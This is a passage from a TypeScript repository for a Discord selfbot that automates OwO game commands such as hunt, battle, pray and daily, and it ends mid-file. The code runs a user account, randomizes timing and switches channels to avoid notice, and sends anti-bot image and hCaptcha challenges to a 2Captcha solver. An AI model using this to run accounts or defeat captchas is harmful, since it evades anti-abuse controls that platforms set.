├── assets └── icon.png ├── .gitignore ├── doc └── security │ ├── security-warning.png │ ├── [Mid0aria] owofarmbot_stable │ ├── image.png │ └── README.md │ └── README.md ├── src ├── typings │ ├── constants.ts │ ├── global.d.ts │ ├── path-value.d.ts │ └── index.d.ts ├── locales │ └── index.ts ├── utils │ ├── array.ts │ ├── import.ts │ ├── watcher.ts │ ├── math.ts │ ├── path.ts │ ├── locales.ts │ ├── time.ts │ ├── download.ts │ ├── logger.ts │ └── decompress.ts ├── commands │ ├── uptime.ts │ ├── ping.ts │ ├── resume.ts │ ├── status.ts │ ├── stop.ts │ ├── eval.ts │ ├── pause.ts │ ├── say.ts │ ├── reload.ts │ └── send.ts ├── features │ ├── changeChannel.ts │ ├── autoBattle.ts │ ├── autoDaily.ts │ ├── autoQuote.ts │ ├── autoRPP.ts │ ├── autoReload.ts │ ├── autoCookie.ts │ ├── autoClover.ts │ ├── autoPray.ts │ ├── changePrefix.ts │ ├── autoSleep.ts │ ├── autoHunt.ts │ ├── README.md │ └── autoHuntbot.ts ├── structure │ ├── Schematic.ts │ ├── core │ │ ├── ExtendedClient.ts │ │ ├── CooldownManager.ts │ │ ├── DataManager.ts │ │ ├── ConfigManager.ts │ │ └── BasePrompter.ts │ ├── InquirerUI.ts │ └── BaseAgent.ts ├── test │ └── huntbot.test.ts ├── services │ ├── solvers │ │ ├── TwoCaptchaSolver.ts │ │ └── YesCaptchaSolver.ts │ ├── notifiers │ │ ├── CallNotifier.ts │ │ ├── MessageNotifier.ts │ │ ├── WebhookNotifier.ts │ │ ├── SoundNotifier.ts │ │ └── PopupNotifier.ts │ ├── NotificationService.ts │ ├── UpdateService.ts │ └── CaptchaService.ts ├── events │ ├── commandCreate.ts │ ├── dmsCreate.ts │ └── owoMessageCreate.ts ├── handlers │ ├── commandsHandler.ts │ ├── featuresHandler.ts │ ├── eventsHandler.ts │ └── CriticalEventHandler.ts ├── cli │ ├── import.ts │ └── generate.ts └── schemas │ └── ConfigSchema.ts ├── run.bat ├── LICENSE ├── package.json ├── index.ts ├── SECURITY.md └── tsconfig.json /assets/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kyou-Izumi/advanced-discord-owo-tool-farm/HEAD/assets/icon.png -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | package-lock.json 3 | pnpm-lock.yaml 4 | 5 | dest 6 | logs 7 | assets/music.mp3 8 | config.json -------------------------------------------------------------------------------- /doc/security/security-warning.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kyou-Izumi/advanced-discord-owo-tool-farm/HEAD/doc/security/security-warning.png -------------------------------------------------------------------------------- /doc/security/[Mid0aria] owofarmbot_stable/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kyou-Izumi/advanced-discord-owo-tool-farm/HEAD/doc/security/[Mid0aria] owofarmbot_stable/image.png -------------------------------------------------------------------------------- /src/typings/constants.ts: -------------------------------------------------------------------------------- 1 | export const NORMALIZE_REGEX = /[\p{Cf}\p{Cc}\p{Zl}\p{Zp}\p{Cn}]/gu; 2 | 3 | export const COLOR = { 4 | CRITICAL: "#FF0000", 5 | NORMAL: "#FFFF00", 6 | LOW: "#00FF00", 7 | } -------------------------------------------------------------------------------- /src/locales/index.ts: -------------------------------------------------------------------------------- 1 | import en from "./en.json" with { type: "json" }; 2 | import vi from "./vi.json" with { type: "json" }; 3 | import tr from "./tr.json" with { type: "json" }; 4 | 5 | export default { 6 | en, 7 | vi, 8 | tr, 9 | } -------------------------------------------------------------------------------- /src/utils/array.ts: -------------------------------------------------------------------------------- 1 | export const shuffleArray = (array: T[]): T[] => { 2 | for (let i = array.length - 1; i > 0; i--) { 3 | const j = Math.floor(Math.random() * (i + 1)); 4 | [array[i], array[j]] = [array[j], array[i]]; 5 | } 6 | return array; 7 | } -------------------------------------------------------------------------------- /src/typings/global.d.ts: -------------------------------------------------------------------------------- 1 | import type { Locale } from "@/utils/locales.ts"; 2 | 3 | declare global { 4 | const LOCALE: Locale; 5 | namespace NodeJS { 6 | interface ProcessEnv { 7 | NODE_ENV: "development" | "production"; 8 | LOCALE: Locale; 9 | } 10 | } 11 | } 12 | 13 | export {} -------------------------------------------------------------------------------- /run.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | cls 3 | 4 | echo Installing dependencies... 5 | call npm i 6 | IF %ERRORLEVEL% NEQ 0 ( 7 | echo Failed to install dependencies. 8 | exit /b 1 9 | ) 10 | 11 | echo Starting Tool... 12 | call npx npm start 13 | IF %ERRORLEVEL% NEQ 0 ( 14 | echo Failed to start the tool. Exiting... 15 | exit /b 1 16 | ) 17 | 18 | pause -------------------------------------------------------------------------------- /src/commands/uptime.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { formatTime } from "@/utils/time.js"; 3 | 4 | 5 | export default Schematic.registerCommand({ 6 | name: "uptime", 7 | description: "commands.uptime.description", 8 | usage: "uptime", 9 | execute: async ({ agent, message, t }) => { 10 | const uptime = formatTime(agent.client.readyTimestamp, Date.now()); 11 | 12 | message.reply({ 13 | content: t("commands.uptime.response", { uptime }) 14 | }); 15 | } 16 | }) -------------------------------------------------------------------------------- /src/commands/ping.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | 3 | 4 | export default Schematic.registerCommand({ 5 | name: "ping", 6 | description: "commands.ping.description", 7 | usage: "ping", 8 | execute: async ({ agent, message, t }) => { 9 | const latency = Date.now() - message.createdTimestamp; 10 | message.reply({ 11 | content: `🏓 | ${t("commands.ping.response", { 12 | latency: latency, 13 | wsLatency: agent.client.ws.ping 14 | })}` 15 | }) 16 | } 17 | }) -------------------------------------------------------------------------------- /src/features/changeChannel.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { ranInt } from "@/utils/math.js"; 3 | 4 | export default Schematic.registerFeature({ 5 | name: "changeChannel", 6 | cooldown: () => 5 * 60 * 1000, 7 | condition: async ({ agent }) => { 8 | if (agent.config.channelID.length <= 1) return false; 9 | 10 | return agent.totalCommands >= agent.channelChangeThreshold; 11 | }, 12 | run: async ({ agent }) => { 13 | agent.channelChangeThreshold += ranInt(17, 56); 14 | agent.setActiveChannel(); 15 | } 16 | }) -------------------------------------------------------------------------------- /src/features/autoBattle.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { ranInt } from "@/utils/math.js"; 3 | 4 | export default Schematic.registerFeature({ 5 | name: "autoBattle", 6 | cooldown: () => ranInt(15_000, 22_000), 7 | condition: () => true, 8 | run: async ({ agent }) => { 9 | await agent.awaitResponse({ 10 | trigger: () => agent.send("battle"), 11 | filter: (m) => m.author.id === agent.owoID && m.embeds.length > 0 12 | && Boolean(m.embeds[0].author?.name.includes(m.guild?.members.me?.displayName!)), 13 | expectResponse: true, 14 | }) 15 | }, 16 | }) -------------------------------------------------------------------------------- /src/structure/Schematic.ts: -------------------------------------------------------------------------------- 1 | import { CommandProps, EventOptions, FeatureProps, HandlerProps } from "@/typings/index.js"; 2 | 3 | import { ClientEvents } from "discord.js-selfbot-v13"; 4 | 5 | export class Schematic { 6 | static registerEvent = (args: EventOptions): EventOptions => { 7 | return args; 8 | } 9 | 10 | static registerCommand = (args: CommandProps) => { 11 | return args; 12 | } 13 | 14 | static registerFeature = (args: FeatureProps): FeatureProps => { 15 | return args; 16 | } 17 | 18 | static registerHandler = (args: HandlerProps) => { 19 | return args; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/utils/import.ts: -------------------------------------------------------------------------------- 1 | import { pathToFileURL } from "node:url" 2 | 3 | /** 4 | * Dynamically imports a module by its file path and returns its default export. 5 | * 6 | * @template T The expected type of the module's default export. 7 | * @param id - The absolute path to the module to import. 8 | * @returns A promise that resolves to the module's default export, or `undefined` if not present. 9 | * @copyright Original credit to Misono Mika - https://github.com/misonomikadev 10 | */ 11 | export const importDefault = async (id: string) => { 12 | const resolvedPath = pathToFileURL(id).href; 13 | const importedModule = await import(resolvedPath); 14 | 15 | return importedModule?.default as T | undefined; 16 | } -------------------------------------------------------------------------------- /src/test/huntbot.test.ts: -------------------------------------------------------------------------------- 1 | const content = ` 2 | **<:cbot:459996048379609098> |** \`BEEP BOOP. I AM BACK WITH 275 ANIMALS,\` 3 | **<:blank:427371936482328596> |** \`3569 ESSENCE, AND 1428 EXPERIENCE\` 4 | <:common:416520037713838081> **|** :butterfly:²⁸ :bee:²⁷ :snail:³⁶ :bug:²⁶ :beetle:²⁷ 5 | <:uncommon:416520056269176842> **|** :chipmunk:¹⁶ :rooster:²¹ :mouse2:¹⁵ :rabbit2:²² :baby_chick:¹⁹ 6 | <:rare:416520066629107712> **|** :cat2:¹¹ :pig2:⁰⁷ :cow2:⁰⁴ :dog2:⁰³ :sheep:⁰⁸ 7 | <:epic:416520722987614208> **|** :whale:⁰² :tiger2:⁰¹ :penguin:⁰¹ :crocodile:⁰¹` 8 | 9 | // console.log(content.match(/:(\w+):([\u2070\u00B9\u00B2\u00B3\u2074-\u2079]+)/g)) 10 | console.log(/:(\w+):([\u2070\u00B9\u00B2\u00B3\u2074-\u2079]+)/g.exec(content)) -------------------------------------------------------------------------------- /src/commands/resume.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { logger } from "@/utils/logger.js"; 3 | 4 | export default Schematic.registerCommand({ 5 | name: "resume", 6 | description: "commands.resume.description", 7 | aliases: ["unpause"], 8 | usage: "resume", 9 | execute: async ({ agent, message, t }) => { 10 | if (!agent.farmLoopPaused) { 11 | return message.reply({ 12 | content: t("commands.resume.notPaused") 13 | }); 14 | } 15 | 16 | agent.farmLoopPaused = false; 17 | logger.info(t("logging.farmLoop.resumed")); 18 | 19 | if (!agent.farmLoopRunning) { 20 | agent.farmLoop(); 21 | } 22 | 23 | message.reply({ 24 | content: t("commands.resume.success") 25 | }); 26 | } 27 | }); 28 | -------------------------------------------------------------------------------- /src/services/solvers/TwoCaptchaSolver.ts: -------------------------------------------------------------------------------- 1 | import { Solver } from "2captcha"; 2 | import { CaptchaSolver } from "@/typings/index.js"; 3 | 4 | export class TwoCaptchaSolver implements CaptchaSolver { 5 | private solver: Solver; 6 | 7 | constructor(apiKey: string) { 8 | this.solver = new Solver(apiKey); 9 | } 10 | 11 | public solveImage = async (imageData: Buffer): Promise => { 12 | const result = await this.solver.imageCaptcha(imageData.toString("base64"), { 13 | numeric: 2, 14 | min_len: 3, 15 | max_len: 6, 16 | }); 17 | 18 | return result.data; 19 | } 20 | 21 | public solveHcaptcha = async (sitekey: string, siteurl: string): Promise => { 22 | const result = await this.solver.hcaptcha(sitekey, siteurl); 23 | return result.data; 24 | } 25 | } -------------------------------------------------------------------------------- /src/features/autoDaily.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { ranInt } from "@/utils/math.js"; 3 | 4 | 5 | export default Schematic.registerFeature({ 6 | name: "autoDaily", 7 | cooldown: () => { 8 | const now = new Date(); 9 | const nextDay = new Date( 10 | now.getUTCFullYear(), 11 | now.getUTCMonth(), 12 | now.getUTCDate() + 1, 13 | ranInt(0, 5), 14 | ranInt(0, 59), 15 | ranInt(0, 59) 16 | ); 17 | return nextDay.getTime() - now.getTime(); 18 | }, 19 | condition: async ({ agent: { config } }) => { 20 | if (!config.autoDaily) return false; 21 | 22 | return true; 23 | }, 24 | run: async ({ agent }) => { 25 | agent.send("daily") 26 | agent.config.autoDaily = false; // Disable autoDaily after running 27 | } 28 | }) -------------------------------------------------------------------------------- /src/features/autoQuote.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { ranInt } from "@/utils/math.js"; 3 | import { quotes } from "@/utils/quotes.js"; 4 | 5 | export default Schematic.registerFeature({ 6 | name: "autoQuote", 7 | cooldown: () => 15_000, 8 | condition: async ({ agent }) => { 9 | return agent.config.autoQuote.length > 0; 10 | }, 11 | run: async ({ agent }) => { 12 | let quote: string; 13 | switch (agent.config.autoQuote[ranInt(0, agent.config.autoQuote.length)]) { 14 | case "owo": 15 | quote = "owo"; 16 | break; 17 | case "quote": 18 | quote = quotes[ranInt(0, quotes.length)]; 19 | break; 20 | } 21 | agent.send(quote, { prefix: "", channel: agent.activeChannel, skipLogging: true }); 22 | } 23 | }); -------------------------------------------------------------------------------- /doc/security/README.md: -------------------------------------------------------------------------------- 1 | # ⚠️ IMPORTANT NOTICE 2 | 3 | This document contains a list of potentially harmful or malicious resources. **DO NOT USE OR DOWNLOAD** anything listed here. 4 | 5 | ![Warning](security-warning.png) 6 | 7 | Even if a repository has a high star count or appears popular, this does not guarantee it is verified or safe to use. Malicious actors may clone GitHub accounts or manipulate star counts to create a false sense of credibility. 8 | 9 | The included links are provided for **reference purposes only** to raise awareness about the potential risks these resources pose. 10 | 11 | --- 12 | 13 | **Disclaimer:** 14 | I am not responsible for any loss, damage, or issues arising from the use or download of any repositories mentioned in this document. They are included solely to highlight how harmful such resources could be. Please exercise caution and perform due diligence when interacting with any online resources. 15 | -------------------------------------------------------------------------------- /src/features/autoRPP.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { ranInt } from "@/utils/math.js"; 3 | 4 | 5 | export default Schematic.registerFeature({ 6 | name: "autoRPP", 7 | cooldown: () => ranInt(60, 120) * 1000, 8 | condition: async ({ agent: { config } }) => { 9 | if (!config.autoRPP || config.autoRPP.length <= 0) return false; 10 | 11 | return true; 12 | }, 13 | run: async ({ agent }) => { 14 | const command = agent.config.autoRPP[ranInt(0, agent.config.autoRPP.length)]; 15 | 16 | const limited = await agent.awaitResponse({ 17 | trigger: () => agent.send(command), 18 | filter: (m) => m.author.id == agent.owoID 19 | && ( 20 | m.content.startsWith("🚫 **|** ") 21 | || m.content.startsWith(":no_entry_sign: **|** ") 22 | ), 23 | }) 24 | 25 | if (limited) { 26 | agent.config.autoRPP = agent.config.autoRPP.filter(c => c !== command); 27 | return; 28 | } 29 | } 30 | }) -------------------------------------------------------------------------------- /src/features/autoReload.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { ranInt } from "@/utils/math.js"; 3 | 4 | 5 | export default Schematic.registerFeature({ 6 | name: "autoReload", 7 | cooldown: () => { 8 | // Set cooldown to tomorrow at a random time 9 | const tomorrow = new Date(); 10 | tomorrow.setDate(tomorrow.getDate() + 1); 11 | tomorrow.setHours(0, ranInt(0, 30), ranInt(0, 59), 0); 12 | return tomorrow.getTime() - Date.now(); 13 | }, 14 | condition: async ({ agent }) => { 15 | if (!agent.config.autoReload) return false; 16 | 17 | // Calculate if it's time to reload (after midnight of the next day) 18 | const now = new Date(); 19 | const nextReloadTime = new Date(agent.client.readyTimestamp); 20 | nextReloadTime.setDate(nextReloadTime.getDate() + 1); 21 | nextReloadTime.setHours(0, ranInt(0, 30), ranInt(0, 59), 0); 22 | 23 | return now.getTime() >= nextReloadTime.getTime(); 24 | }, 25 | run: ({ agent }) => { 26 | agent.reloadConfig(); 27 | } 28 | }); -------------------------------------------------------------------------------- /src/commands/status.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { formatTime } from "@/utils/time.js"; 3 | import { logger } from "@/utils/logger.js"; 4 | 5 | 6 | export default Schematic.registerCommand({ 7 | name: "status", 8 | description: "commands.status.description", 9 | usage: "status", 10 | execute: async ({ agent, message, t, locale }) => { 11 | try { 12 | // Send the status message 13 | await message.reply(t("commands.status.status", { 14 | status: agent.captchaDetected ? "🔴 Captcha Detected" 15 | : agent.farmLoopPaused ? "🟡 Paused" : "🟢 Running", 16 | uptime: formatTime(agent.client.readyTimestamp, Date.now()), 17 | texts: agent.totalTexts, 18 | commands: agent.totalCommands, 19 | captchasSolved: agent.totalCaptchaSolved, 20 | captchasFailed: agent.totalCaptchaFailed 21 | })); 22 | } catch (error) { 23 | logger.error("Error during status command execution:"); 24 | logger.error(error as Error); 25 | } 26 | } 27 | }); -------------------------------------------------------------------------------- /src/features/autoCookie.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { logger } from "@/utils/logger.js"; 3 | 4 | export default Schematic.registerFeature({ 5 | name: "autoCookie", 6 | cooldown: () => { 7 | const date = new Date(); 8 | return date.setDate(date.getDate() + 1) - Date.now(); 9 | }, 10 | condition: async ({ agent, t }) => { 11 | if (!agent.config.autoCookie) return false; 12 | if (!agent.config.adminID) { 13 | logger.warn(t("features.common.errors.noAdminID", { feature: "autoCookie" })); 14 | agent.config.autoCookie = false; // Disable autoCookie if adminID is not set 15 | return false; 16 | } 17 | 18 | const admin = agent.client.users.cache.get(agent.config.adminID); 19 | if (!admin || admin.id === admin.client.user?.id) { 20 | logger.warn(t("features.common.errors.invalidAdminID", { feature: "autoCookie" })); 21 | agent.config.autoCookie = false; 22 | return false; 23 | } 24 | 25 | return true; 26 | }, 27 | run: async ({ agent }) => { 28 | await agent.send(`cookie ${agent.config.adminID}`); 29 | 30 | agent.config.autoCookie = false; // Disable autoCookie after sending the message 31 | }, 32 | }); 33 | -------------------------------------------------------------------------------- /src/features/autoClover.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { logger } from "@/utils/logger.js"; 3 | 4 | export default Schematic.registerFeature({ 5 | name: "autoClover", 6 | cooldown: () => { 7 | const date = new Date(); 8 | return date.setDate(date.getDate() + 1) - Date.now(); 9 | }, 10 | condition: async ({ agent, t }) => { 11 | if (!agent.config.autoClover) return false; 12 | if (!agent.config.adminID) { 13 | logger.warn(t("features.common.errors.noAdminID", { feature: "autoClover" })); 14 | agent.config.autoClover = false; 15 | return false; 16 | } 17 | 18 | const admin = agent.client.users.cache.get(agent.config.adminID); 19 | if (!admin || admin.id === admin.client.user?.id) { 20 | logger.warn(t("features.common.errors.invalidAdminID", { feature: "autoClover" })); 21 | agent.config.autoClover = false; 22 | return false; 23 | } 24 | 25 | return true; 26 | }, 27 | run: async ({ agent }) => { 28 | await agent.send(`clover ${agent.config.adminID}`); 29 | 30 | agent.config.autoClover = false; // Disable autoClover after sending the message 31 | }, 32 | }); 33 | -------------------------------------------------------------------------------- /src/features/autoPray.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { FeatureFnParams } from "@/typings/index.js"; 3 | import { logger } from "@/utils/logger.js"; 4 | import { ranInt } from "@/utils/math.js"; 5 | 6 | 7 | export default Schematic.registerFeature({ 8 | name: "autoPray", 9 | cooldown: () => ranInt(5 * 60 * 1000, 8 * 60 * 1000), 10 | condition: async ({ agent: { config } }) => { 11 | if (!config.autoPray || config.autoPray.length <= 0) return false; 12 | 13 | return true; 14 | }, 15 | run: async ({ agent, t }) => { 16 | const command = agent.config.autoPray[Math.floor(Math.random() * agent.config.autoPray.length)]; 17 | 18 | const check = await agent.awaitResponse({ 19 | trigger: () => agent.send(command), 20 | filter: (m) => m.author.id == agent.owoID 21 | && m.content.includes(m.guild?.members.me?.displayName!) 22 | && m.content.includes("I could not find that user!"), 23 | }); 24 | 25 | if (check) { 26 | logger.warn(t("features.autoPray.adminNotFound")); 27 | agent.config.autoPray = agent.config.autoPray.filter(c => c !== command); 28 | } 29 | } 30 | }) -------------------------------------------------------------------------------- /src/events/commandCreate.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { CommandProps } from "@/typings/index.js"; 3 | import { logger } from "@/utils/logger.js"; 4 | 5 | export default Schematic.registerEvent({ 6 | name: "commandCreate", 7 | event: "messageCreate", 8 | handler: async (BaseParams, message) => { 9 | const { agent, t, locale } = BaseParams; 10 | if (message.author.bot) return; 11 | if (!agent.config.prefix || !message.content.startsWith(agent.config.prefix)) return; 12 | 13 | if (!agent.authorizedUserIDs.includes(message.author.id)) return; 14 | 15 | const args = message.content 16 | .slice(agent.config.prefix.length) 17 | .trim() 18 | .split(/ +/g); 19 | 20 | const commandName = args.shift()?.toLowerCase(); 21 | if (!commandName) return; 22 | 23 | const command = (agent.commands.get(commandName) || 24 | Array.from(agent.commands.values()).find((c) => 25 | c.aliases?.includes(commandName) 26 | )) as CommandProps; 27 | if (!command) return; 28 | 29 | try { 30 | const params = { ...BaseParams, message, args }; 31 | await command.execute(params); 32 | } catch (error) { 33 | logger.error(`Error executing command "${commandName}":`); 34 | logger.error(error as Error); 35 | } 36 | }, 37 | }); 38 | -------------------------------------------------------------------------------- /src/typings/path-value.d.ts: -------------------------------------------------------------------------------- 1 | /* eslint-disable @typescript-eslint/no-explicit-any */ 2 | 3 | /** 4 | * Evaluates to `true` if `T` is `any`. `false` otherwise. 5 | * (c) https://stackoverflow.com/a/68633327/5290447 6 | */ 7 | type IsAny = unknown extends T 8 | ? [keyof T] extends [never] 9 | ? false 10 | : true 11 | : false; 12 | 13 | export type PathImpl = Key extends string 14 | ? IsAny extends true 15 | ? never 16 | : T[Key] extends Record 17 | ? 18 | | `${Key}.${PathImpl> & 19 | string}` 20 | | `${Key}.${Exclude & string}` 21 | : never 22 | : never; 23 | 24 | export type PathImpl2 = PathImpl | keyof T; 25 | 26 | export type Path = keyof T extends string 27 | ? PathImpl2 extends infer P 28 | ? P extends string | keyof T 29 | ? P 30 | : keyof T 31 | : keyof T 32 | : never; 33 | 34 | export type PathValue< 35 | T, 36 | P extends Path, 37 | > = P extends `${infer Key}.${infer Rest}` 38 | ? Key extends keyof T 39 | ? Rest extends Path 40 | ? PathValue 41 | : never 42 | : never 43 | : P extends keyof T 44 | ? T[P] 45 | : never; 46 | -------------------------------------------------------------------------------- /src/features/changePrefix.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { logger } from "@/utils/logger.js"; 3 | 4 | 5 | export default Schematic.registerFeature({ 6 | name: "changePrefix", 7 | cooldown: () => 5 * 60 * 1000, 8 | condition: async ({ agent }) => { 9 | if (!agent.config.useCustomPrefix) return false; 10 | 11 | return true; 12 | }, 13 | run: async ({ agent, t }) => { 14 | // **⚙️ | Konbanwa**, the current prefix is set to **`o`**! 15 | const response = await agent.awaitResponse({ 16 | trigger: () => agent.send("prefix"), 17 | filter: (m) => m.author.id === agent.owoID 18 | && m.content.includes(m.guild?.members.me?.displayName!) 19 | && m.content.includes("the current prefix is set to"), 20 | expectResponse: true, 21 | }); 22 | 23 | const newPrefix = response?.content.match(/the current prefix is set to\s*\*\*`([^`]+)`\*\*/i)?.[1]; 24 | if (!newPrefix) { 25 | agent.config.useCustomPrefix = false; 26 | logger.warn(t("features.changePrefix.noPrefixFound")); 27 | return; 28 | } 29 | 30 | agent.prefix = newPrefix; 31 | agent.config.useCustomPrefix = false; 32 | logger.info(t("features.changePrefix.prefixChanged", { prefix: newPrefix })); 33 | } 34 | }) -------------------------------------------------------------------------------- /src/events/dmsCreate.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | 3 | 4 | export default Schematic.registerEvent({ 5 | name: "dmsCreate", 6 | event: "messageCreate", 7 | handler: async ({ agent }, message) => { 8 | if (!agent.captchaDetected || message.channel.type !== "DM") return; 9 | if (!agent.config.adminID || message.author.id !== agent.config.adminID) return; 10 | if (message.channel.recipient.id !== message.client.user?.id) return; 11 | 12 | if (/^\w{3,6}$/.test(message.content)) { 13 | const owo = await message.client.users.fetch(agent.owoID).catch(() => null); 14 | const dms = await owo?.createDM(); 15 | if (!owo || !dms) { 16 | message.reply("Failed to fetch OWO user or create DM channel."); 17 | return; 18 | } 19 | 20 | const res = await agent.awaitResponse({ 21 | trigger: () => agent.send(message.content, { channel: dms }), 22 | filter: m => m.author.id === owo.id 23 | && m.channel.type === "DM" 24 | && /(wrong verification code!)|(verified that you are.{1,3}human!)|(have been banned)/gim.test(m.content) 25 | }); 26 | 27 | return message.reply( 28 | res?.content || "No response received from OWO user." 29 | ); 30 | } 31 | } 32 | }) -------------------------------------------------------------------------------- /src/handlers/commandsHandler.ts: -------------------------------------------------------------------------------- 1 | import path from "node:path"; 2 | import fs from "node:fs"; 3 | 4 | import { Schematic } from "@/structure/Schematic.js"; 5 | import { logger } from "@/utils/logger.js"; 6 | import { importDefault } from "@/utils/import.js"; 7 | import { CommandProps } from "@/typings/index.js"; 8 | 9 | export default Schematic.registerHandler({ 10 | run: async ({ agent }) => { 11 | const commandsFolder = path.join(agent.rootDir, "commands"); 12 | const statDir = fs.statSync(commandsFolder); 13 | if (!statDir.isDirectory()) { 14 | logger.warn(`Features folder not found, creating...`); 15 | fs.mkdirSync(commandsFolder, { recursive: true }); 16 | } 17 | 18 | for (const file of fs.readdirSync(commandsFolder)) { 19 | if (!file.endsWith(".js") && !file.endsWith(".ts")) { 20 | logger.warn(`Skipping non-JS/TS file: ${file}`); 21 | continue; 22 | } 23 | 24 | const filePath = path.join(commandsFolder, file); 25 | try { 26 | const command = await importDefault(filePath); 27 | if (!command || typeof command !== "object" || !command.name) { 28 | logger.warn(`Invalid feature in ${filePath}, skipping...`); 29 | continue; 30 | } 31 | 32 | agent.commands.set(command.name, command); 33 | } catch (error) { 34 | logger.error(`Error loading feature from ${filePath}:`); 35 | logger.error(error as Error); 36 | } 37 | } 38 | }, 39 | }); 40 | -------------------------------------------------------------------------------- /src/utils/watcher.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * Creates a proxy around a configuration object to watch for property changes. 3 | * 4 | * @template T - The type of the configuration object. 5 | * @template U - The return type of the callback function. 6 | * @param config - The configuration object to be watched. 7 | * @param callback - A function that is called whenever a property on the config object is set to a new value. 8 | * The callback receives the property key, the old value, and the new value as arguments. 9 | * @returns A proxied version of the configuration object that triggers the callback on property changes. 10 | */ 11 | export const watchConfig = (config: T, callback: (key: keyof T, oldValue: T[keyof T], value: T[keyof T]) => U) => { 12 | return new Proxy(config, { 13 | set(target, property, value) { 14 | if (typeof property === "string" && property in target) { 15 | const key = property as keyof T; 16 | if (target[key] !== value) callback(key, target[key], value); 17 | (target as any)[key] = value; 18 | return true; 19 | } 20 | return false; 21 | }, 22 | get(target, property) { 23 | if (typeof property === "string" && property in target) { 24 | const key = property as keyof T; 25 | return target[key]; 26 | } 27 | return undefined; 28 | } 29 | }) 30 | } -------------------------------------------------------------------------------- /src/handlers/featuresHandler.ts: -------------------------------------------------------------------------------- 1 | import path from "node:path"; 2 | import fs from "node:fs"; 3 | 4 | import { Schematic } from "@/structure/Schematic.js"; 5 | import { logger } from "@/utils/logger.js"; 6 | import { importDefault } from "@/utils/import.js"; 7 | import { FeatureProps } from "@/typings/index.js"; 8 | import { Collection } from "discord.js-selfbot-v13"; 9 | 10 | export default Schematic.registerHandler({ 11 | run: async ({ agent }) => { 12 | const featuresFolder = path.join(agent.rootDir, "features"); 13 | const statDir = fs.statSync(featuresFolder); 14 | if (!statDir.isDirectory()) { 15 | logger.warn(`Features folder not found, creating...`); 16 | fs.mkdirSync(featuresFolder, { recursive: true }); 17 | } 18 | 19 | for (const file of fs.readdirSync(featuresFolder)) { 20 | if (!file.endsWith(".js") && !file.endsWith(".ts")) { 21 | logger.warn(`Skipping non-JS/TS file: ${file}`); 22 | continue; 23 | } 24 | 25 | const filePath = path.join(featuresFolder, file); 26 | try { 27 | const feature = await importDefault(filePath); 28 | if ( 29 | !feature 30 | || typeof feature !== "object" 31 | || !feature.name 32 | || !feature.condition 33 | || !feature.run 34 | ) { 35 | logger.warn(`Invalid feature in ${filePath}, skipping...`); 36 | continue; 37 | } 38 | 39 | agent.features.set(feature.name, feature); 40 | } catch (error) { 41 | logger.error(`Error loading feature from ${filePath}:`); 42 | logger.error(error as Error); 43 | } 44 | } 45 | }, 46 | }); 47 | -------------------------------------------------------------------------------- /src/commands/stop.ts: -------------------------------------------------------------------------------- 1 | import { NotificationService } from "@/services/NotificationService.js"; 2 | import { Schematic } from "@/structure/Schematic.js"; 3 | import { logger } from "@/utils/logger.js"; 4 | 5 | export default Schematic.registerCommand({ 6 | name: "stop", 7 | description: "commands.stop.description", 8 | usage: "stop", 9 | execute: async ({ agent, message, t, locale }) => { 10 | try { 11 | // Send stopping message 12 | const msg = await message.reply({ 13 | content: t("commands.stop.stopping") 14 | }); 15 | 16 | // Log the termination 17 | NotificationService.consoleNotify({ 18 | agent, 19 | t, 20 | locale 21 | }); 22 | logger.info(t("status.states.terminated")); 23 | 24 | // Small delay to ensure message is sent 25 | setTimeout(() => { 26 | // Send final message 27 | msg.edit({ 28 | content: t("commands.stop.terminated") 29 | }).finally(() => { 30 | // Terminate the process 31 | process.exit(0); 32 | }); 33 | }, 1000); 34 | 35 | } catch (error) { 36 | logger.error("Error during stop command execution:"); 37 | logger.error(error as Error); 38 | 39 | // Force exit even if there's an error 40 | process.exit(1); 41 | } 42 | } 43 | }); 44 | -------------------------------------------------------------------------------- /src/utils/math.ts: -------------------------------------------------------------------------------- 1 | 2 | 3 | /** 4 | * Maps an integer from one range to another, preserving the ratio between ranges. 5 | * 6 | * @param number - The input number to map. 7 | * @param min - The minimum value of the input range. 8 | * @param max - The maximum value of the input range. 9 | * @param newMin - The minimum value of the output range. 10 | * @param newMax - The maximum value of the output range. 11 | * @returns The mapped integer in the new range. 12 | * @throws {Error} If `min` and `max` are the same value. 13 | */ 14 | export const mapInt = (number: number, min: number, max: number, newMin: number, newMax: number): number => { 15 | if (min === max) { 16 | throw new Error("Min and max cannot be the same value."); 17 | } 18 | 19 | const ratio = (number - min) / (max - min); 20 | return Math.floor(newMin + ratio * (newMax - newMin)); 21 | } 22 | 23 | /** 24 | * Generates a random integer between `min` (inclusive) and `max` (exclusive). 